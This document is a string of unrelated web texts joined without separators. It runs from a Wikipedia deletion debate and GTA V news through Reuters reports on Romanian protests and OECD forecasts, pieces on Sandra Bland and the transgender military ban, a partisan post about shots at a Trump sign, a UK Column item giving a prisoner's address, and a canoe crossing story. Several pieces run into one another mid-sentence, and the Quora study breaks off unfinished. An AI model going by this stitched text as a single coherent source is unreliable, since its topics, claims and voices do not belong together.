[edit conflict] Please be civil. There are/were valid concerns over how verifiable this information is. That was even more true at the time this article was first nominated for deletion. A vote for deletion is by no means an attempt to belittle a person, life, or movement. That said, it may be time to accelerate the process of closing this nomination. I think there is a very clear consensus for keep - even if one were to only look at the discussion by experienced editors. --Aranae (talk) 02:07, 22 June 2009 (UTC)
Suggesting a snowball keep at this point--- if any admin agrees, please close the discussion now. Shii (tock) 02:00, 22 June 2009 (UTC)While most gamers will be disappointed that GTA V won’t be one of the games shown at this year’s E3 expo in LA, publishers Take Two are convinced that high demand for GTA V will see them get through all potential criticisms. More specifically, Take Two also believe that sales of the game will not be affected by the launch of next-generation PS4 and Xbox One consoles from Sony and Microsoft.
GTA V is not coming to these next-gen consoles of course, a fact that still surprises many gamers considering the prospect of how amazing GTA V would be on next-gen hardware. Having said that, the game is still looking unbelievable on current-generation hardware and Take-Two has defended the move to just release on Xbox 360 and PS3 at launch.
When speaking to MCV in a recent interview, Take-Two CEO Strauss Zelnick firmly believes that GTA V sales won’t be affected by the arrival of next-gen machines. In fact, he has said that the install base of the current console generation is in excess of 120 million and most of these gamers according to him – will buy GTA V.
He has added that fans have been waiting for years to play Grand Theft Auto 5 and it is this demand that will see them negate any potential stoppage of sales during the week that next-gen consoles are released. GTA V now has a confirmed release date of September 17, while the PS4 and Xbox One are expected during the Holiday period in the US.
It would be great if GTA V was coming to next-gen, but we think nobody can criticize Take Two or Rockstar for keeping the game on Xbox 360 and PS3. Every screenshot we have seen for the game looks immense so far, and Rockstar as a developer can seemingly do no wrong at the moment.
Are you over the fact that GTA V isn’t coming to next-gen, or would you have still preferred to wait for a PS4 or Xbox One version? It potentially implies having two consoles in the living room now, with the current Xbox 360 or PS3 just serving for GTA V purposes as you switch over to next-gen.BUCHAREST (Reuters) - Tens of thousands of Romanians protested in Bucharest and other main cities on Sunday against government’s plans to decriminalize certain offences and pardon convicts through emergency decrees that could hurt an anti-graft drive.
Romanian President Klaus Iohannis walks amongst protesters against government plans to grant prison pardons and decriminalize some offences through emergency decree, in Bucharest, Romania, January 22, 2017. Inquam Photos/Octav Ganea via REUTERS ATTENTION EDITORS - THIS IMAGE WAS PROVIDED BY A THIRD PARTY. EDITORIAL USE ONLY. ROMANIA OUT. NO COMMERCIAL OR EDITORIAL SALES IN ROMANIA.
The plans unveiled earlier this month by the Social Democrat government have been criticized by President Klaus Iohannis, by the prosecutor general, the Supreme Court, the chief anti-corruption prosecutor, civil rights groups and diplomats.
Police said about 50,000 people took part in the rally in Bucharest, making it the biggest demonstration in a recent wave of protests.
Shouting “Thieves, thieves”, protesters gathered in freezing weather in the capital’s main square Piata Universitatii and then rallied outside the justice ministry, the ombudsman’s office and the government’s headquarters.
According to the drafts, the government intends to decriminalize abuse of power actions causing financial damage of less than 200,000 lei ($47,500).
Abuse of power accounts for a third of anti-corruption investigations. The ruling leftist Social Democrats’ leader Liviu Dragnea is currently on trial in an abuse of power case. Dragnea, who received a two-year suspended jail sentence for a 2012 referendum-rigging conviction, has branded the recent street protests an attempted coup.
“I am here because I can’t believe that 27 years have passed and I find myself in the same place in the same square,” said actress Adriana Moca, recalling the eruption of the 1989 anti-communist revolution in Bucharest.
Thousands of people also protested in main cities in the country and in several European Union capitals.
On Monday, Justice Minister Florin Iordache will hold a round of public consultations over the plan - on which the country’s top panel of magistrates has already issued a non-binding, negative opinion.
Protesters shouted anti-government slogans and asked for the resignation of the justice minister, chanting: “Stop corruption,”, “No pardons, yes schools and hospitals,” and backed President Iohannis’s calls for a nationwide referendum to step up the anti-corruption fight.
The government is also seeking to pardon convicts sentenced to less than five years for committing certain crimes, and cut sentences by half for all prisoners aged over 60, and those having a terminal illness, regardless of their crime.
President Iohannis said on his Facebook page on Friday that German Chancellor Angela Merkel, whom he had a telephone discussion at her initiative said:
“The Chancellor expressed full support for efforts to maintain progress made by our country, but she expressed concern that certain steps initiated during this period do not affect the fight against corruption in Romania.”
The European Commission keeps Romania’s legal system under special monitoring. It has praised magistrates’ efforts to fight widespread graft, but noted Romanian politicians have a history of trying to pass legislation which could weaken investigative powers.Trooper Brian Encinia threatening Sandra Bland with a Taser after she refused to get out of her car during her July 10 traffic stop in Texas.
Screen shot/Texas DPS
In dashcam video of Sandra Bland’s traffic stop and arrest, Bland and Texas state trooper Brian Encinia begin arguing after he approaches her car for the second time. After sarcastically asking her if she’s “done” explaining why she’s upset about being pulled over, he then asks Bland to put out a cigarette. When she refuses, Encinia becomes angry and demands that she get out of the car, and when she refuses to do that, he opens her door, tries to drag her out, screams at her, threatens her with a Taser, handcuffs her, and ultimately arrests her for assault because she allegedly kicked him. (The footage doesn’t show Bland kicking Encinia, but it could have happened after she got out of the car and they were outside the camera’s frame.)
Slate legal writer Mark Joseph Stern asserted Wednesday that while Encinia was likely within his rights to order Bland to put out the cigarette and get out of her car, taking such aggressive physical action against her when she refused to do so constituted an excessive use of force. And it seems clear from the video that Encinia’s actions, not to mention his initial verbal escalation of the situation, happened in large part because he took offense at what he perceived as Bland’s disrespectful attitude—what is known in legal circles as “contempt of cop”—rather than any belief that she presented an imminent threat to anyone’s safety.
In 2010, Christy Lopez, the Department of Justice official who led the federal investigation into the Ferguson, Missouri, police department after Michael Brown’s death, wrote a paper on the subject of “contempt of cop” arrests. (Lopez’s Ferguson investigation found that officers in Ferguson had a habit of making unjustified and abusive arrests.) Lopez opens her report by noting that disagreeing with, criticizing, or otherwise being verbally difficult with a police officer is behavior protected by the First Amendement. Legally, you should be able to say anything you want to an officer, or even make an obscene gesture toward the police, without fearing punishment. Practically, though, Lopez writes, “there is abundant evidence that police overuse disorderly conduct and similar statutes to arrest people who ‘disrespect’ them or express disagreement with their actions.”
Lopez observes that since arrested suspects in “contempt of cop” cases often did very little if anything that was illegal, many of those arrests end in dropped charges and lawsuits. Some high-profile recent examples:
A 16-year-old in Portland, Oregon, was acquitted of charges against him in March after a judge found that police had beaten him for no reason other than he had used profanity when responding to an officer who had clapped at him to get his attention.
In 2014, the New York Post reported that only 6 percent of cases (in an unspecified time period) in which resisting arrest was the most serious charge against a suspect resulted in convictions in New York City.
An ongoing Washington, D.C., lawsuit with multiple plaintiffs accuses police of making bogus arrests under a statute that prevents “incommoding,” or blocking a sidewalk—a statute that itself was put into place after an official 2010 report found that the city’s vague disorderly conduct laws were facilitating improper “contempt of cop” arrests.
A D.C. woman won nearly $100,000 in a lawsuit in 2011 after police arrested her when she made a derisive comment toward them at a 7-Eleven.
Charges were famously dropped against Harvard professor Henry Louis Gates in 2009 after he was charged with disorderly conduct following an interaction with a police officer that began when a break-in was reported at Gates’ own home.
A 2008 Seattle Post-Intelligencer report found that nearly half of cases in the city in which the sole arresting charge was “obstructing a public officer” were ultimately dropped. (Half of the people arrested for obstruction were black; Seattle is eight percent black overall.)
As the Seattle and Gates items suggest, the targets of “contempt of cop” arrests are often nonwhite. When you consider that black drivers may also be disproportionately subject to “investigatory stops,” in which minor motor vehicle violations are used as pretexts for searches and interrogations—and that Bland herself was stopped only for failing to signal a lane change—Sandra Bland’s experience in Waller County might even be considered typical were it not for its tragic end.This is the latest example of violence from the unhinged left against Trump supporters. A North Carolina man with a Trump Pence sign outside his home had to endure shots being fired at his house.
WRAL News reported:
Police: Shots fired at Trump sign hanging outside Cary home
Cary police were investigating Sunday afternoon after someone fired shots at a Donald Trump campaign sign in front of a home on Morrisville Carpenter Road near the intersection with N.C. Highway 55.
Trending: CNN Told By South Korean Official: “Clearly Credit Goes To President Trump” (VIDEO)
The incident happened late Saturday outside James Powers’ home, and Powers said another Trump sign about 1 mile away was burned during the early-morning hours on Oct. 30.
No injuries were reported, but Powers said about 20 shots were fired at the sign, and some bullets hit the home sometime between 7 p.m. and 8:30 p.m. Saturday. The sign was hanging on the front porch.
Here’s a video report:
Why are liberals so angry and violent?PARIS (Reuters) - Growth rates among the world’s major economies are synchronising at levels not seen in years as the euro zone catches up with United States, the OECD said on Wednesday in an update of its forecasts.
The global economy is set for growth this year of 3.5 percent before reaching 3.7 percent next year, up marginally from estimates in June and the best rate since 2011, the Organisation for Economic Cooperation and Development said.
“We’ve got some short-term momentum, it’s become broad-based and one way to measure that is to look around the world and see nobody is contracting for the first time since 2008,” OECD chief economist Catherine Mann said.
“We know that a synchronised upturn is an important signal for businesses to invest,” Mann told Reuters in an interview.
The Paris-based policy forum raised its outlook for euro zone growth this year to 2.1 percent, up from 1.8 percent the last time the OECD issued forecasts and putting it on par with the United States, whose forecast of 2.1 percent was unchanged.
Erstwhile euro zone laggards France and Italy were among the main drivers for this brighter outlook. French growth this year was revised up to 1.7 percent from 1.3 percent previously, while Italian growth was bumped up to 1.4 percent from 1.0 percent.
Not even a 13-percent increase in the euro’s strength against the dollar since the start of the year would knock back euro zone growth as firm global demand drove exports, Mann said.
BRITAIN OUTCLASSED BY EURO ZONE
Outclassed by a resurgent euro zone, Britain would lag all major economies with growth of only 1.6 percent this year - no better nor worse than estimated in June - as it struggled to get to grips with its exit from the European Union.
On monetary policy, the OECD said the U.S Federal Reserve should stick to gradually raising interest rates and soon start reining in its balance sheet. Meanwhile, the European Central Bank should keep trimming its assets purchases before phasing out its negative interest rates.
The skyline with its characteristic banking towers is pictured during sun down after a sunny spring day in Frankfurt, Germany, April 9, 2017. REUTERS/Kai Pfaffenbach
But central banks would need a strategy rethink if exuberant financial markets stumbled and inflation targets continued to prove elusive.
Among the major economies not within the 35-nation OECD, India was a rarity in seeing its estimates cut. India’s growth estimate was cut to 6.7 percent from 7.3 percent previously, due to the impact of reforms on goods and services tax.
China, on the other hand, was looking stronger with its growth revised up to 6.8 percent for 2017 and 6.6 percent for 2018.The nature of the charge against her is unclear and that information is refused when requested of court staff. The case took place late yesterday morning but it did not appear on any court lists until the hearing was past.
Melanie Shaw did not appear in person in court for this hearing, which was conducted by video link from her prison, as has also been the case with previous of her court 'appearances'. She states that without fail, whenever in the past she has given testimony by such video link, she has been cut off on the pretext that "you were shouting", which she denies.
The effect of this is to prevent her testimony from going on the court record, as well as to prevent her as defendant from hearing certain deliberations and assertions being made in the courtroom.
In addition, UK Column News is very confident that at this particular secret hearing, no member of the public was present, and particularly not any of the supporters who have been following Melanie Shaw's case very closely. The public is therefore entirely dependent on any transcripts—accurate and complete or otherwise—which may be produced in order to find out what was said at the hearing.
Time already served by Melanie Shaw in prison on remand, namely 11 months, mostly in solitary confinement, does not appear to have been set against the two-year custodial sentence imposed yesterday.
Melanie Shaw is one of the few child abuse whistleblowers who is prepared to name politicians as having been among the abusers of her fellow inmates, some of whom she asserts were murdered on site at Beechwood. Her reminiscences date from 1987, in which year the Cabinet was constituted of these politicians until the general election that May and of these politicians thereafter. (This does not constitute an allegation by UK Column News that any particular Cabinet minister at the above links was an abuser.)
Melanie Shaw's correspondence address in prison is:
Melanie Shaw
A4126DE
HMP Foston Hall
Uttoxeter Road
Foston
DERBY
DE65 5DN
United Kingdom
It is advisable if writing to Melanie Shaw to use a card or light letter containing no stamps, blank paper, return envelopes, money or any other objects. These are highly likely to be confiscated, potentially together with the letter or card itself.
Update 13th January 2017
Definition of terms: By "secret court hearing", UK Column News means:
(a) a court hearing not listed until after it took place;
(b) a court hearing whose outcome (i.e. of what alleged crime Melanie Shaw has been convicted) is withheld from the public on request, to the puzzlement of some court staff themselves.
By these two definitions, UK Column News is quite confident in describing Melanie Shaw as a political prisoner.Even when times are good, you're going to see guys on the corner asking for money in return for the privilege of watching them struggle through "Free Bird." That's just how it goes. The guys on this list, however, aren't your run-of-the-mill bums who've decided to take up an instrument to help with their panhandling. These are the guys with acts superior to what you're likely to see on a stage. Guys such as...
5 Charlie Barnett, aka Dave Chappelle's Mentor
Get a picture of Eddie Murphy in your head. Young, hilarious Eddie Murphy, not fat-suit wearing, latex-faced, farting for laughs, CGI-donkey Eddie Murphy. Funny Eddie Murphy. Got it? Now replace that image with this guy:
Via maryellenmark
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That's street performer and comedian Charlie Barnett, and in 1980 Eddie Murphy took Barnett's slot on Saturday Night Live. Not because he was funnier or better at short-shorts wearing, but because Barnett was a little illiterate. Put a pin in that, because we're coming back to it.
Through the 70s, 80s and 90s, Barnett was a guy who could win over any crowd with his raunchy, racially inappropriate jokes. And also AIDS jokes. And he won them, whole Washington Square fountains full of them, without a microphone, stage or eighth-grade education. Don't even watch this if you're sensitive to the N-word, blatant racial stereotypes or tight red sweat pants:
Back in the day, comedians loved Charlie Barnett. People who saw him said he was lightning fast with ad libs, and since Richard Pryor was nursing a coke addiction, Barnett was supposed to be the next big thing. He got that SNL audition, which he failed because he couldn't read the cue cards, and a three movie deal from Universal. He also got the cliche behind every good '80s performer -- a crippling drug habit.President Trump announced on Twitter on Wednesday that he will ban transgender people from serving in the military in any capacity, an abrupt reversal of an Obama administration decision to allow them to serve openly and a potential end to the careers of thousands of active-duty troops.
The decision halts a years-long process of advancing rights for lesbian, gay, bisexual and transgender people in the U.S. military that began with the repeal of the “don’t ask, don’t tell” policy in 2010. And the nature of the announcement left Republicans and Democrats in Congress concerned about the seeming broad scope of Trump’s order.
Citing the need to focus on what he called “decisive and overwhelming victory,” Trump said that the military cannot accept the burden of higher medical costs and the “disruption” that transgender troops “would entail.”
“After consultation with my Generals and military experts, please be advised that the United States Government will not accept or allow transgender individuals to serve in any capacity in the U.S. Military,” Trump wrote on Twitter. “Our military must be focused on decisive and overwhelming victory and cannot be burdened with the tremendous medical costs and disruption that transgender in the military would entail.”
Sen. John McCain (R-Ariz.), the chairman of the Senate Armed Services Committee who in 2010 opposed ending “don’t ask, don’t tell,” criticized Trump’s decision in a statement, attacking both how it was delivered and its implications for active-duty transgender troops.
(Whitney Shefte/The Washington Post)
“The president’s tweet this morning regarding transgender Americans in the military is yet another example of why major policy announcements should not be made via Twitter,” McCain said. “The statement was unclear. The Department of Defense has already decided to allow currently serving transgender individuals to stay in the military, and many are serving honorably today. Any American who meets current medical and readiness standards should be allowed to continue serving. There is no reason to force service members who are able to fight, train and deploy to leave the military — regardless of their gender identity,” McCain said.
Trump was lobbied for over a year by conservative Republicans to roll back the Obama administration policy change. Christian conservative leaders pressed him on the issue as a candidate in June 2016 during a meeting in New York just after Trump secured the Republican nomination for president. Many of them said the military is no place for “social experimentation” at the expense of military readiness.
Although they were pleased with Trump’s decision, Wednesday’s announcement came with no warning to those same conservative leaders. It also was a surprise to many on Capitol Hill.
Trump’s decision comes two weeks after the House rejected an amendment to the annual defense policy bill that would have blocked the Pentagon from offering gender transition therapies to active-duty service members. Twenty-four Republicans joined 190 Democrats voting to reject the measure.
But conservative lawmakers — many of them members of the House Freedom Caucus — had threatened to withhold support for a spending bill if Congress did not act to prohibit the Pentagon from paying for the procedures. The impasse broadly threatened government spending, but most importantly for Trump, it potentially held up money that had been appropriated for the border wall between the United States and Mexico, a key promise he had made during the campaign.
[Hill Democrats slam Trump’s military transgender ban, while GOP is caught by surprise]
A White House official and a House GOP official confirmed that Reps. Mark Meadows (R-N.C.), Jim Jordan (R-Ohio) and Scott Perry (R-Pa.), all Freedom Caucus members, were in talks with the White House and House leadership on the issue.
(Whitney Leaming/The Washington Post)
They were willing to accept a Defense Department or White House provision that addressed paying for procedures — well short of a ban on transgender people serving in the military, according to the House official who, like others, spoke on the condition of anonymity because he was not authorized to speak publicly on the issue.
Trump went well beyond what they had requested.
Earlier this year, Trump’s military leadership had signaled that they needed more time to fully assess the implementation of the last significant piece of the Obama administration’s approach, delaying the entry of transgender military recruits until the end of 2017. The policy in place would have allowed them to begin serving July 1, but Defense Secretary Jim Mattis delayed it just before the deadline, citing a need for more study.
The six-month delay was requested by the Joint Chiefs of Staff and would have allowed a further review of how integrating transgender recruits would affect the military’s “readiness and lethality,” Mattis said in a memo last month. That review was due in early December.
Mattis noted that the delay “in no way presupposes the outcome.”
[On eve of deadline, Pentagon delays plan to allow transgender recruits by 6 months]
White House spokeswoman Sarah Huckabee Sanders defended Trump’s decision, saying it was purely focused on military readiness. Yet when pressed by reporters on how the new policy would be implemented and how it would affect currently serving transgender troops, Sanders deferred the questions to the Pentagon. She said Trump had made the decision and informed Mattis of the policy change Tuesday.
“Look, I think sometimes you have to make decisions, and once he made a decision, he didn’t feel it was necessary to hold that decision, and they’re going to work together with the Department of Defense to lawfully implement it,” Sanders said.
Aside from a short statement, the Pentagon referred all questions regarding Trump’s tweets to the White House.
[Trump’s ‘LGBT rights’ promises were tied to war on ‘radical Islam’]
In a sign of how quickly political and social norms have shifted in Washington, many Republican lawmakers spoke out against Trump’s announcement.
As well as McCain, Republican Sens. Orrin G. Hatch (Utah); Joni Ernst (Iowa), an Army veteran; and Richard C. Shelby (Ala.) issued statements calling the president’s decision into question.
Under former defense secretary Ashton B. Carter, the military lifted the ban on transgender troops and was given one year to determine how to implement a policy that would allow transgender service members to receive medical care and ban the services from involuntarily separating people in the military who came out as transgender.
Thousands of troops serving in the military are transgender, and some estimates place the number as high as 11,000 in the reserves and active-duty military, according to a Rand Corp. study commissioned by the Defense Department.
The Rand study estimated that gender-transition-related medical treatments would cost the military between $2.4 million and $8.4 million annually.
Brad Carson, a former congressman who worked on transgender policy deliberations under the Obama administration, said in an interview Wednesday that months of delays last year in implementing a change in transgender policy “left the door open” to Trump’s action and potentially invites litigation challenging the president’s decision.
“That being said, just from the tweets, it seems as if what he is doing is rolling back already implemented policies, which will force out several hundred openly transgender service members out of the military,” Carson said.
Also Wednesday, the Justice Department filed a legal brief in a case before the U.S. Court of Appeals for the 2nd Circuit arguing that LGBT people are not protected from discrimination under Title VII of the Civil Rights Act.
As a political candidate, Trump largely avoided issues related to LGBT rights, even while many in his family — including daughter Ivanka Trump — have been vocal supporters of LBGT people.
But since taking office, the Trump administration has rolled back protections, including those for transgender children in public schools. And earlier this year, even before the decision on public schools, the Pentagon quietly rescinded a directive to Defense Department schools that students were free to use the bathrooms and locker rooms consistent with their gender identity.
[The Pentagon’s history of resisting transgender troops]
The White House also did not recognize LGBT Pride Month in June, although other members of his administration did so, including Secretary of State Rex Tillerson.
When asked whether Ivanka Trump and Jared Kushner, the president’s senior adviser and son-in-law, were involved in the discussions before Trump’s tweets Wednesday, the White House official said, “It actually may have caught them unaware.”
Aaron Belkin, director of the Palm Center, a think tank that has helped the Pentagon research transgender people serving in the military, released a statement condemning the move.
“This is a shocking and ignorant attack on our military and on transgender troops who have been serving honorably and effectively for the past year,” Belkin said.
Philip Rucker, Dan Lamothe, Jenna Johnson, Ed O’Keefe, Robert Barnes and Christopher Ingraham contributed to this report.There are several surprises in the survey results issued Monday by UBS’ Steve Milunovich. Of an initial 4,000 smartphone owners drawn evenly from four countries (U.S., U.K., China, Italy):
Italians were most compliant responders (71%), Americans the least (33%).
70% of respondents owned at least one watch, with Americans the most likely not to own (38%), Italians the least (18%).
10% of smartphone owners said they were “very likely” to buy a smartwatch in the next 12 months. Another 17% were “somewhat likely.”
Samsung Gear was the most likely device to be purchased (37%), beating the Apple Watch in every region except China. (See below).
.
The Samsung Gear is currently the bestselling smartwatch on the market. The Apple Watch is not due out until early next year, and according to a UBS footnote the respondents in their survey weren’t told anything about the device’s features.
Below: Brand preference among likely smartphone buyers.
Follow Philip Elmer-DeWitt on Twitter at @philiped. Read his Apple (AAPL) coverage at fortune.com/ped or subscribe via his RSS feed.A British leading female Muslim lawmakers has sparked controversy after she remarked Monday that she hoped Islamic face veils will disappear from Britain within the next 20 years.
Sayeeda Warsi, Lawyer and member of the House of Lords, noted that she did not want the Islamic veil to be banned by a decree but encourages “British Muslims to lead the charge”.
Warsi has recently defended the wearing of niqab but said Monday that she did not “know what its purpose is in terms of British Islam.”
She also made clear that wearing the Islamic veil is not a “British manifestation”.
Warsi went on to describe the philosophy of hijab in her view: “if you were running through the desert it was good because you didn’t get sand in your face.”
“I sincerely hope we’re heading in that direction where [veils] won’t be … part of the landscape,” she added.
German Chancellor Angela Merkel has also voiced similar comments, when she told her party members on Dec 6, 2016 that Germany should ban full-face veils “wherever legally possible”.
Merkel told party members “full veiling is not appropriate here” adding that a fully veiled woman “scarcely has a chance at full integration in Germany.”
The news came two weeks after Austria banned wearing a full facial veil in public places, moving towards some other European countries that see expressions of Muslim identity as contrary to Western values.
The decision, however, received criticism from rights activists and representatives of Austria’s Muslim community.
Sevgi Kircil, a member of Austria’s Muslim community, responded to the new ban, describing it as a reckless “intervention in religious freedom and the freedom of expression.”Getty Images
Panthers coach Ron Rivera said Monday they dodged a bullet with running back Jonathan Stewart last week.
But they’re not taking any chances.
Via Bill Voth of Black and Blue Review, the Panthers running back isn’t practicing today, which isn’t necessarily a surprise.
Rivera said Stewart — who got four weeks off with a foot sprain — had someone roll on his ankle in last week’s divisional round game against the Seahawks. So since they’ve been very patient with him, it makes sense that they’re giving him some rest this week.
Stewart came back to run for 106 yards and two touchdowns against the Seahawks, after running for 989 yards in 13 regular season games.
The Panthers also got backup Fozzy Whittaker back to practice Wednesday, after a close to a month off with a high-ankle sprain. It’s unclear if he’ll be ready to go this week after not playing since Week 16, but he’d at least give them some more experienced depth, or cover if Stewart can’t go.The power produced by a wind turbine is given by a simple formula:
P=1/2 x the density of air x the area swept out by the turbines x (the windspeed)^3
Clearly the most important variable is windspeed. The area swept out by of the turbine is a constant and the density of air is generally taken as 1.225 kg/m^3, its value at sea level at 15 degrees C.
Today, Zénó Farkas from Eotvos University in Hungary, points out that the density of air is not constant. And that taking it into account is a relatively straightforward and valuable exercise when calculating the power that a turbine can produce.
To prove the point, he took standard air temperature, pressure and relative humidity measurements to calculate the air density at a wind farm in Hungary over a period from 2004 to 2006. His calculations show that, in that time, the pressure varied by more than 20 per cent.
He then used a neural network to fit the data from the wind speed and air density to the curve of the actual power produced at the windfarm. In fact, he used data from 2005 and 2005 to train the net and the data from 2006 to test it.
The result was a significantly improved estimate of the power production. Compared to the estimate using a constant air density, Farkas says his results are 16 per cent more accurate.
So that’s an easy way to improve power estimates from wind farms. It’s the kind of simple but effective science that can sometimes make a difference.
Ref: arxiv.org/abs/1103.2198: Considering Air Density in Wind Power Production
You can now follow The Physics arXiv Blog on TwitterQuora is one of my favorite products, but a quick usability test reveals that people run into two critical issues with Quora’s Browse and Search Results.
Objective
Identify the pain points of Quora’s current “Browse” and “Search Results” interfaces:
Current Quora Android UI for Browse and Search Results.
Test Parameters
What: Quora Android Mobile App
Who: Existing Quora users
Why: To validate whether others experience the same usability issues I’ve identified in Quora’s Browse and Search Results interfaces.
Usability Test
I sat down with 5 individuals and captured notes while they performed the following tasks:
Homepage Tour Look for Topic-Specific Questions & Answers Search for a Topic Browse for Content of Interest to the User
Tasks were determined to validate my hypothesis that Quora’s Browse and Search Results need improvement.
Synthesis
Color-coded sticky notes for issues found in each session.
Issues grouped by category and further divided by Browse and Search Results problems.
Findings: Two Key Issues
BROWSE
Users expect interesting content recommendations (but get Unanswered Questions, People to Follow, and Shuffle).
“This is terrible. I expected to see things that may be interesting. Doesn’t seem like a good way for people to actually discover new stuff. ”
Upon clicking the Browse page, users were confused because they expected a screen for personalized content discovery. “Unanswered Questions” is geared more towards the 1% of users in the oft-quoted 1-9-90 rule (1% will answer, 9% will edit, and 90% lurk) in content-based networks. “People to Follow” is one degree of separation from from the personalized content that users want (i.e. Questions / Answers, Topics). “Shuffle” is too undirected and doesn’t cater to the user’s interests.
Summary of user comments while interacting with “Browse” screen.
Currently, users are introduced to the Browse feature is by reading through the “I Just joined Quora from my Android phone or iPhone. How do I get started?” question, which is shown after a user signs up. But as the test points out, users are unclear why “Unanswered Questions”, “People to Follow” and “Shuffle” belong in the Browse page.
ASSUMPTIONS: Although all 5 users found the features in the Browse page confusing and questionable, there is no statistical significance to generalize these behaviors / preferences across all of Quora’s users. However, with roughly 90% of users |
While presidential daughters have played an important role enhancing the image of their fathers, they are nothing compared to young presidential children. The challenges now facing President Trump and the extended Trump family are only heightened by the children who most recently occupied the White House. For the past quarter-century, presidential children consisted exclusively of young girls situated in loving, supportive relationships with their parents. Chelsea Clinton, the Bush twins Barbara and Jenna, and Malia and Sasha Obama all enjoyed the privacy afforded to young presidential children, yet they were never entirely out of the public eye. They made their fathers appear more sympathetic and the presidential family more like a typical American family.
Bill Clinton, George W. Bush, and Barack Obama were only walking in the footsteps of John Kennedy, the president who most effectively deployed his young children to send a message. Whether it was John, Jr. hiding under his father’s desk or Caroline sailing with her father, the Kennedy children were crucial figures in the effort to establish a specific image for Kennedy.
Trump could learn a lot from Kennedy. Trump has an unusual family consisting of five children from three marriages. Twenty-three year-old Tiffany has eschewed most public appearances. The youngest of Trump’s children, eleven year-old Barron Trump, moved into the White House last month. Trump could contribute to a reimagined Trump image: more accessible, more familiar, and seemingly more similar to average American families. But Barron is now—and likely will remain—overshadowed by Donald, Jr., Eric, and Jared Kushner: grown men who have already resuscitated all the fears of presidential children.
And that leaves Ivanka Trump, who reveals as much as anyone about the political role of presidential children. She has faced her own criticism. Critics have emphasized the gender double-standard at work here, and rightly so. Yet there’s more at work than antifeminist agitation. By proclaiming her role as business leader and policy advisor, she has entered a politically dangerous world that had previously been occupied exclusively by presidential sons. And presidential sons haven’t fared much better. Look no further than her brother and her husband.
The big question this week is whether the smoke surrounding Donald Jr. and Kushner will generate fire. Even if it doesn’t, Trump faces the same bind as his predecessors. He has demonstrated the value he places on loyalty, and like most presidents, he considers nobody more trustworthy than family. But that trust can rebound to damage a presidency.
No president in modern times has invested his children—whether his sons, his daughter, or his son-in-law—with so much power. The deck is already stacked against that arrangement helping his presidency. And the events over the past weeks have shown just how much damage it can cause.
Peter Kastor is a Professor of History and American Culture Studies and Chair of the Department of History at Washington University in St. Louis.Most people follow the rules on 2nd Ave. Most people biking stop when the bike signal is red, and most people turning left obey the red arrow and wait their turn.
Unfortunately, most isn’t good enough, and there are far too many people still turning across the bike lanes when people on bikes have the green. While we have reported previously on how to make the traffic signals less confusing (hanging signals over each lane would help), many of those turning know they’re not supposed to and just don’t care. Police enforcement may be the only way to change their behavior.
But what about all those people who are doing their part to make the street work? Can the carrot be as effective as the stick? That’s what the Seattle Departments of Transportation is hoping for with their “re-enforcement patrols” this week.
Staff and volunteers from Pronto Cycle Share and Cascade Bicycle Club were out on 2nd Ave Thursday afternoon giving opposite tickets: $5 Starbucks gift cards for following the law.
“Woah, that was amazing! You turned on your blinker and stopped at the red light, and you aren’t on your phone,” SDOT’s Jim Curtin told one person waiting for the light before handing a gift card and brochure about Vision Zero through her car window.
Staff and volunteers were also giving cards to people biking and walking who stopped for their respective signals.
The action was the second of three this week. Wednesday, staff were at West Seattle’s Arbor Heights/K-5 STEM School rewarding parents dropping kids off and, of course, the kids themselves for being safe (coffee is yucky, so the kids got glow-in-the-dark reflective key chains, coloring books and crayons).
All the rewards were funded by a grant.
The re-enforcement patrols will be on the west side of the Fremont Bridge tomorrow morning from 8–9 a.m., so be on your best behavior and they might buy you coffee. And maybe if you’re all really, really good, SDOT will buy gift cards for a good coffee shop next time :-)DUSHANBE, Tajikistan — A US delegation walked out of a regional conference in Tajikistan on Monday after Iranian president Mahmoud Ahmadinejad lambasted US policy on Afghanistan as the source of all the country’s troubles.
Ahmadinejad launched his new tirade against Washington at a conference in Tajikistan’s capital Dushanbe, attended by leaders of Afghanistan’s neighbors as well as a US delegation led by Assistant Secretary of State Robert Blake.
“The cause of all the ills in Afghanistan is the presence on Afghan soil of NATO forces and above all those of the United States,” the Iranian president told the Regional Economic Cooperation Conference on Afghanistan (RECCA).
As the firebrand Iranian president was giving his speech, Blake pointedly led the US delegation out of the conference hall.
Encounters — even at multinational regional conferences — between the United States and Iran are extremely rare.
The two countries cut diplomatic relations in the wake of the 1979 Islamic Revolution and ties have remained severed ever since. Tensions are rising again over Iran’s nuclear program and Washington has never ruled out military action.
Ahmadinejad, whose country shares a huge border with Afghanistan, said that US forces had gone into the country with the aim of encircling the whole strategic region.
“They went into Afghanistan using the pretext of the fight against terror and now under the same slogan they are surrounding Russia, India and China,” Ahmadinejad said.
“We want foreign troops to leave Afghanistan in the shortest time,” he added.
The conference — which is also being attended by Afghan president Hamid Karzai and Pakistani counterpart Asif Ali Zardari — is the fifth such meeting since 2005 and aims to boost cooperation in rebuilding Afghanistan.Mandriva COO Jean-Manuel Croset has taken to the official Mandriva blog to ask the community of the Linux distribution for "constructive inputs, ideas and visions" for Mandriva's future strategy. The promised share holder meeting that is set to decide the financial future of the company has finally been announced for 30 April and Croset now wants the users and contributors of the distribution to tell him about their background, motivations and needs as far as Mandriva is concerned.
Croset admits that the commercial entity behind Mandriva "didn’t communicate during the last few months", but offers no explanation for this sudden interest in the community's thoughts on the project. In 2010, developers and users concerned with the future of Mandriva created the community-run Mageia fork. Mageia is currently working on their second release, which is expected to arrive shortly.
The blog post not only asks for input from the community, it also indirectly poses the question if Mandriva is still viable as a distribution: "This is about preparing the future, seeing whether there is a community now, active or potential, around Mandriva Linux." It is not clear what impact the users feedback will have on the shareholders of the company, though. Mandriva has been in financial troubles since December of last year, having delayed the decision on how to proceed several times.
(fab)After 76 days, Gabor Rakonczay -- isolated and incommunicado for nearly 50 of those after his canoe capsized -- has become the first person to paddle across the Atlantic Ocean from Europe to the Caribbean.
Rakonczay, who began his adventure in Lagos, Portugal, on Dec. 21, and stopped for several days in the Canary Islands for rest and supplies, reached the island of Antigua on Sunday, he told The Associated Press in a phone interview from the Caribbean nation.
When his canoe capsized at sea, the Hungarian adventurer said he managed to save it but his communications equipment was damaged and he had not been in contact with his family since Feb. 6.
Rakonczay made the journey without a satellite tracking system which would have allowed him to signal that he was all right. So his wife, who stayed behind in Hungary, could only hope for the best.
"The supplier raised the price at the last minute and I decided to leave without one because it was not possible to postpone the trip," the 30-year-old said from Nelson's Dockyard in southern Antigua.
"This trip was the first time I didn't have a tracking system and the first time I really would have needed one."
